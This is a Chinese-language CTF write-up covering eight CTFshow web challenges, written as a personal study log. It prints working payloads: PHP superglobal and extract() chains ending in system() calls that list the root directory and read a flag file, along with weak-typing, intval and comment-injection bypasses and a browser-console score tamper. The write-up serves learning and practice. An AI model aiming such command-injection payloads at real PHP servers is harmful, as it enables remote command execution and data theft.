目录

##1. 签到题
##2. web2 c0me_t0_s1gn
##3. 我的眼里只有$
##4. 一言既出
##5. 驷马难追
##6. 化零为整
##7. 无一幸免
##8. 传说之下(雾)

这是做的部分ctf题题解,仅为方便自己学习记录,欢迎大家交流补充~

0x01 签到题

打开题目,给我们的是源代码,通过阅读代码,这就是一个通过外部构造系统命令执行的一个漏洞,通过这几个函数套娃,最终用eval函数把字符串当作php代码执行。
sign.png
我们根据代码写payload,(注意,中文请先进行url编码)
2.png

    ?b=c&c[6][0][7][3][8][0][9][4][4]=system("ls%20/");
    post:a=b
    cookie:CTFshow-QQ群:=a
    /*
    解释一下,源代码为$_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]],
    通过构造之后变成$_REQUEST[[$_GET[$_POST['a']]]->$_REQUEST[[$_GET['b']]->$_REQUEST['c']->system("ls%20/");
    php中$_REQUEST函数支持get和post方法,所以两种都可以
    通过调用linux命令ls /,获取根目录下有哪些文件,发现 f1agaaa,读取这个文件,获得flag
最终payload:
    ?b=c&c[6][0][7][5][8][0][9][6][4]=system("cat /f1agaaa");
    post:a=b
    cookie:CTFshow-QQ群:=a
    */

3.png

0x02 web2 c0me_t0_s1gn

4.png
打开题目,就让我们找找看能不能发现什么,先是右键打开网页源代码后发现部分flag和提示,打开控制台,控制台提示执行这个函数就能获得flag,执行之后成功获得后半部分flag,拼接之后就是完整的flag,又是一道签到题。
5.png
6.png

0x03 我的眼里只有$

7.png
这道题和第一道题有点像,又是一个套娃题。不过这里用了一个extract($_POST),这个函数的作用就是将数组中的索引和值用变量来表示,例如

extract(['a'=>1])
等价于 $a=1

35个$符,a-z都不够用啊,构造这个花了我挺长时间。构造完了才想起来写一个循环完事的事情...
最终的payload:

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=ab&ab=cd&cd=ef&ef=fg&fg=hi&hi=jk&jk=lm&lm=no&no=pq&pq=system("cat /f1agaaa");

0x04 一言既出

9.png
通过代码审计,这道题考的就是弱类型语言数值的比较
这里复习一下知识点
<?php
echo '1'==1;//true (在两个等号条件下,字符串1和数字1相等,比较方式是将字符串换成整型后比较)
echo '1abcd'==1;//true (是不是很神奇,在进行字符串隐式转换为整型时遇到非数字{小数点除外}就终止)经过测试,在最新版本的php8返回false
echo '11+1'==11; //true
//intval()函数把数字字符串转成整型数字
intval('678abc")//678
intval('6+7');//13
所以可以通过
构造payload:/?num=114514%2B1919810-114514
注意:只要是特殊字符在url传参都需要通过url编码
另一种思路:就是加注释把后面的代码注释掉,前面部分代码形成闭合,就执行不了die()函数了。
payload:/?num=11451");//

0x05 驷马难追

和上一题差不多,但是多了一个正则验证,但是加号和减号并没有在规则里面。
所以构造

payload:/?num=114514%2B1919810-114514

即可获得flag
10.png

0x06 化零为整

11.png

题目分析:如果输入的是"大牛"就可以输出答案,很明显,要绕过上面的if语句.
在utf-8编码中,一个中文为三个字节,而判断的if语句超过两个字节就不可以,所以把一个中文拆成三个单独的字节就行了
然后使用的是从1开始的for循环进行拼接,因此对中文进行url编码之后使用数字为变量就行

最终构造的payload如下

    /?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
http://ca01914c-5bf6-49d7-a4bc-45fc0a0c702b.challenge.ctf.show/?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

0x07 无一幸免

12.png

这道题比前面的签到题还简单,首先判断是否存在 0参数,只要能进入if语句就能输出flag了,这个if语句判断的内容是一个赋值语句,所以随便传什么都会返回true
最终payload

?0=0
http://034ee1fe-cc46-4d19-8fdc-91184301f8df.challenge.ctf.show/?0=0

0x08 传说之下(雾)

打开是一个贪吃蛇游戏
13.png

根据这里的提示可知,吃到2077个苹果即可获得flag,当然了,你要是想慢慢玩这个游戏,吃到2077个,也是没问题的。最快的办法就是直接篡改数据。
分析网页源代码,只发现一个js文件,进入js文件分析。该游戏的分数,由Game函数的score属性控制,并且把Game属性挂载到window对象中,所以直接在控制台执行
执行之后开始一下游戏即可输出flag。
Game.score=2088

目前只做了几道题来进行学习和练习,好久没更新文章了,记录一下解题步骤方便自己之后复习。

Last modification:May 23, 2023
If you think my article is useful to you, please feel free to appreciate